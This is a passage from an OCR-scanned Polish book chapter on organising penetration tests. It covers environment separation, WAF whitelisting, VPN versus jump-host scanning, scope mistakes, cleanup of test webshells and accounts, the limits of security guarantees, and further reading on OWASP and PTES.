sprzetowych. Srodowiska powinny by¢ odseparowane przynajmniej na warstwie hiperwizora.

Podobny przypadek dotyczy wszelkiego rodzaju systemow zaleznych (integracji),
z ktérymi w jakikolwiek sposéb wymienia dane aplikacja podlegajaca testom. Moze
okazac sie, ze ataki wykonywane w ramach testow posrednio beda dotykac réwniez
innych systemdéw niz ten, ktéry bezposrednio badaja pentesterzy. Pamietam przypadki,
w ktérych payload wstrzykiwany do aplikacji nie zaszkodzil jej samej, ale unieruchomit
systemy zalezne w drugiej lub nawet trzeciej linii zalezno$ci. Odpowiednio skonstru-
owany ciag znakow (np. fragment dokumentu XML) by} zupelnie niegrozny dla badane;j
aplikacji, ale po przekazaniu do systemdéw zintegrowanych z aplikacja doprowadzil do
ich zawieszenia.

WNIOSEK Nie jest to rzecz niezbedna, ale na etapie uzgadniania szczegotow testow warto poinformowac zespot
pentesteréw o tym, z jakimi innymi rozwigzaniami integruje sie badana aplikacja.

Cos nie dziata

Jak maja zachowac sie pentesterzy w przypadku funkgeji, ktére nie dzialaja popraw-
nie w trakcie testow? Takie sytuacje moga mie¢ miejsce — i maja — w praktyce, moze
nawet cze$ciej, niz powinny. Zlecajacy prace powinien upewni¢ sie, czy do testéw
oddawany jest sprawny system. W koncu to wiasciciel lub opiekun aplikacji najlepiej
wie, jak zachowuje sie poprawnie dzialajacy system. Szczegodlnie istotne jest to w przy-
padku aplikacji, dla ktérych na potrzeby testow penetracyjnych uruchomione zostato
dedykowane $Srodowisko. Dopiero po czasie okazuje sie, Zze wdrozenie nie zakonczylo
sie pelnym sukcesem.

0d pentester6w naleZzy natomiast wymaga¢, by po zauwazZeniu niepoprawnie
dzialajacej funkcji niezwlocznie zglosili ten fakt do opiekuna testéw. Przekazanie
takiej informacji pozwala po stronie zlecajacego testy podjac decyzje o tym, czy niezbed-
ne jest przywrdcenie do dzialania okreslonej funkcjonalnosci, czy moze ta czes$¢ aplikacji
zostanie wykluczona z zakresu testéw. Pewne jest jednak to, Ze niedopuszczalne jest
pominiecie w trakcie testéw niedzialajacej funkcji i nieodnotowanie tego nigdzie.

Aktywne ostony typu Web Application Firewall

Podobne dylematy, jak w przypadku wyboru $rodowiska do testéw, dotycza wykony-
wania testow z wlaczonymi ostonami typu Web Application Firewall (WAF)%. Dla opieku-
noéw i architektéw rozwiazan stanowia one dodatkowa warstwe systemu, ktory traktuja
oni jako integralna cze$¢ calego rozwiazania. Czasem wysuwany jest wrecz argument,
jakoby WAF chronil aplikacje przed atakami, co podwaza zasadno$¢ realizacji testéw
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penetracyjnych. Pentesterzy patrza na to jednak z innej perspektywy. Testujac aplikacje
w konfiguracji, gdzie zapytania przesylane do aplikacji sa filtrowane i blokowane
przez rozwigzania klasy WAF, nigdy nie maja pewnosci, czy testuja jako$¢ zabez-
pieczen samej aplikacji, czy tez systemu WAF. Nie jest to komfortowa sytuacja i moze
w negatywny sposob wplynac na jako$¢ samych testow.

Zalecana praktyka w takim przypadku jest zastosowanie podejscia hybrydowego.
Wszystkie testy, ktére realizuje wykonawca, powinny by¢ wykonywane z okreslonych
adresow IP (zazwyczaj wiecej niz jednego, ale nie wiecej niz kilku). Mozna wiec przygo-
towac taka konfiguracje, w ktorej cze$¢ adres6w IP pentester6w zostanie dodana do
bialej listy (ang. whitelist) w systemie WAF, a pozostale — nie. Dzieki temu pentesterzy
w trakcie normalnych prac beda korzysta¢ z adreséw dodanych do bialej listy, testujac
tym samym zabezpieczenia samej aplikacji, a nie jako$¢ dzialania systemu WAF. Gdy
tylko wykryja podatnos¢, moga przekierowac ruch przez adres nie dodany do tej listy
i sprawdzi¢, czy wykryty przez nich biad jest skutecznie blokowany przez WAF. Takie
rozwigzanie jest, w mojej ocenie, kompromisem. Pentesterzy moga dokladnie przetesto-
wac sama aplikacje, a zamawiajacy otrzymuje w raporcie dodatkowa informacje o tym,
przed ktérymi bledami WAF chroni, a przed ktérymi juz nie.

Testy infrastruktury a tunel VPN

Zdarza sie, ze infrastruktura, ktéra chcemy poddac testom bezpieczenistwa, bedzie
stanowila wewnetrzne zasoby firmy nieosiggalne z publicznej sieci Internet. W takim
przypadku moze pa$¢ propozycja przeprowadzenia skanowania sieci poprzez zesta-
wiony tunel VPN®. Rekomenduje, aby ostroznie podchodzi¢ do takich pomystéw. Czym
innym jest przeprowadzenie testu penetracyjnego aplikacji webowej z wykorzysta-
niem tunelu VPN, a czym innym skanowanie infrastruktury sieciowej. Jako$¢ testéw
penetracyjnych aplikacji nie ucierpi na wykonywaniu testéw przez tunel, ale moze wply-
nac¢ na wyniki skanowania serwerow, chociazby ze wzgledu na ograniczenia bramki VPN
lub nalozone polityki sieciowe.

Zdecydowanie lepszym pomystem w przypadku checi zdalnego skanowania infra-
struktury wewnetrznej jest uruchomienie w infrastrukturze stacji przesiadkowej, do
ktdrej pentesterzy beda uzyskiwac dostep przez tunel VPN, ale same testy beda realizo-
wane z poziomu wspomnianej stacji.

Kopiuj i wklej

Niepozorna funkcja ,kopiuj i wklej” rowniez moze przysporzy¢ problemow przy re-
alizacji testow penetracyjnych. Oczywiscie to nie sama funkcja jest winna, ale czlowiek,
ktdéry korzysta z niej nieopatrznie. Mowa tu o przypadkach, kiedy podczas wymiany
informacji o zakresie testéw popelniony zostanie blad i np. zamiast adresu IP 11.1.1.1
przekazany zostanie adres 1.1.1.1. Moze okazac sie, Ze pentesterzy przeprowadzaja ataki
na infrastrukture, ktorej wlasciciel nie wyrazil zgody na testy lub nawet nie jest w jaki-
kolwiek sposéb powigzany z podmiotem zlecajacym testy.
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Problemy, ryzyka i watpliwosci

Higiena

Test penetracyjny, tak jak zostalo to ujete na poczatku tego tekstu, charakteryzuje sie
podejmowaniem prob przeprowadzania rzeczywistych atakdw na systemy komputero-
we. Co za tym idzie — pentesterzy musza podjac dzialania, ktére maja na celu wykrycie
i eksploitacje wykrytych luk (podatnosci). W ramach tego procesu wykonywane sa jed-
nak czynnosci, ktére, przy nieostroznym zachowaniu, moga narazic¢ testowane systemy
na atak przez niepowolane osoby. Jeden z prostszych przypadkéw dotyczy testow funkcji
wgrywania plikéw®2. WyobraZzmy sobie sytuacje, gdy pentester wgrywa tzw. webshell®,
np. webshell.php w postaci skryptu PHP do aplikacji, a ta odklada go np. w katalogu
uploads. Z duzym prawdopodobienstwem URL do takiego pliku bedzie nastepujacy:
https:/training.securitum.com.pl/uploads/webshell.php. Jesli dodatkowo na serwerze wia-
czona jest opcja listowania katalogéw, to kazdy, kto odwiedzi katalog uploads (https://
training.securitum.com/uploads), zauwazy wspomiany plik i bedzie mdg} sie do nie-
go odwolad, a co za tym idzie — najprawdopodobniej bedzie w stanie wykona¢ dowolne
polecenia na serwerze aplikacji. Taka sytuacja rodzi duze ryzyko, jezeli dostep do pliku
nie zostal w jakikolwiek sposob zabezpieczony (np. poprzez wymuszenie podania hasta
w parametrze). Pentester powinien wiec w pierwszej kolejnosci zadbac¢ o to, by web-
shell w zaden sposéb nie umozliwial uruchomienia na serwerze polecen kazdej po-
stronnej osobie, a dodatkowo po zakonczeniu testéw plik powinien zosta¢ usuniety.
Jezeli sam pentester nie bedzie mdgt tego zrobi¢, powinien umie$ci¢ stosowna informacje
w raporcie lub wiadomosci, ktdéra zostanie skierowana do wlasciciela aplikacji.

Higiene nalezy zachowac rowniez w przypadku kont testowych. Trzeba usuna¢ do-
stepy do aplikacji, ktore zostaly wygenerowane na potrzeby testéw lub juz w ich trakcie,
szczegolnie jezeli ustalono dla nich proste loginy i/lub hasla.

Gwarancje

Konczac powoli wymienianie ryzyk zwigzanych z testami, trzeba poruszy¢ watek
gwarancji bezpieczenstwa, o ktéra zabiegaja czasem klienci zlecajacy testy, czy to do
zespoldw wewnetrznych w danej firmie, czy proszac o ustuge testow penetracyjnych
zewnetrzng firme. Mysle, Ze sprawe trzeba postawi¢ do$¢ jasno. Zaden szanujacy
sie ekspert ds. bezpieczenstwa IT lub firma dostarczajaca uslugi specjalistyczne
w tym zakresie nie udziela pelnej gwarancji bezpieczenstwa jakiegokolwiek sys-
temu IT. Nie zmienia tego nawet to, czy na testy poswiecilo sie dzien czy miesigc. Bez-
pieczenstwo jest procesem - i nie jest to pusty slogan. W innym miejscu tego tekstu
uzylem poréwnania do samochodu, ktéry musi przechodzi¢ okresowe przeglady tech-
niczne. Samocho6d sprawny wczoraj nie musi by¢ sprawny dzisiaj. W $wiecie IT dzia-
la to w identyczny sposob. System, ktéry przeszed! rygorystyczne testy penetracyjne,
moze nastepnego dnia ulec atakowi, np. na skutek eksploitacji podatnosci typu 0-day®,
o ktorej pentesterzy nie mieli prawa wiedzie¢ w czasie realizacji testow. Dobierajac lub
oceniajac testy, nalezy skupic sie na ich zakresie, kompleksowosci oraz doswiadczeniu
zespoluy, ktory je realizuje.
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Niska wycena

Oprdcz kwestii technicznych watpliwosci moga pojawic sie juz na etapie poréwnywa-
nia ofert testéw penetracyjnych. Jezeli zdarzy sie, Ze oferta danej firmy bedzie w istotny
sposob odbiega¢ od wyceny testow pozostalych oferentéw, powinno to wzbudzié¢ czuj-
no$¢ (np. propozycja jednego z oferentéw stanowi 30-40% ceny zaproponowanej przez
inne firmy). Prawdopodobnie nie bedzie to dobra okazja, a oferta, w ramach ktorej, za-
miast klasycznych testéw penetracyjnych taczacych podej$cie manualne i automatyczne,
oferent zamierza wykonac jedynie podstawowe sprawdzenia popularnymi skanerami
podatnosci. Taka ustuga nie powinna by¢ poréwnywalna cenowo z pelnoprawnym te-
stem penetracyjnym.

PODSUMOWANIE

Testy penetracyjne stanowia istotny element procesu podnoszenia bezpieczenstwa sys-
teméw IT. Pozwalaja na skonfrontowanie zalozen przyjetych na etapie projektowania
i wdrazania rozwigzan z rzeczywistoscia. Zdarza sie, ze test penetracyjny moze w nega-
tywny sposéb wplynac na dostepno$¢ systemu, ale stanowi to niewielki odsetek przypad-
kéw i na pewno nie powinno to przestaniac¢ ogélnej idei testéw penetracyjnych.

Mam nadzieje, ze lektura tego rozdzialu pozwolita kazdemu Czytelnikowi lepiej zro-
zumiec proces realizacji testow penetracyjnych, dzieki czemu organizacja samych testow
stanie sie prostsza i przyjemniejsza. Tym, ktérzy chca zagtebi¢ sie bardziej w omawiane
zagadnienia - poza praktyka — pozostawiam tez wybor literatury do samodzielnego za-
poznania sie.

Dalsze poszerzanie wiedzy

Czytelnikdw chcacych poszerzyc¢ swoja wiedze o realizacji testow penetracyjnych za-
checam m.in. do uwaznego $ledzenia portali opisujacych biezace wydarzenia ze Swiata
bezpieczenstwa IT oraz do brania udzialu w szkoleniach podnoszacych wiedze w tym
zakresie.

Dobrym Zrédtem informacji rozszerzajacym wiedze beda réwniez materialy opisuja-
ce standardy i metodyki wykorzystywane w trakcie testéw penetracyjnych. Taka lektura
czeka np. pod tymi adresami:

» OWASP Top Ten, https://owasp.org/www-project-top-ten/

» OWASP Application Security Verification Standard (ASVS),

https://owasp.org/www-project-application-security-verification-standard/

» OWASP Mobile Application Security Verification Standard (MASVS),

https://github.com/OWASP/owasp-masvs

» Penetration Testing Execution Standard (PTES),

http://www.pentest-standard.org/index.php/Main_Page

» Open Source Security Testing Methodology Manual (OSSTMM),

https://www.isecom.org/OSSTMM.3.pdf
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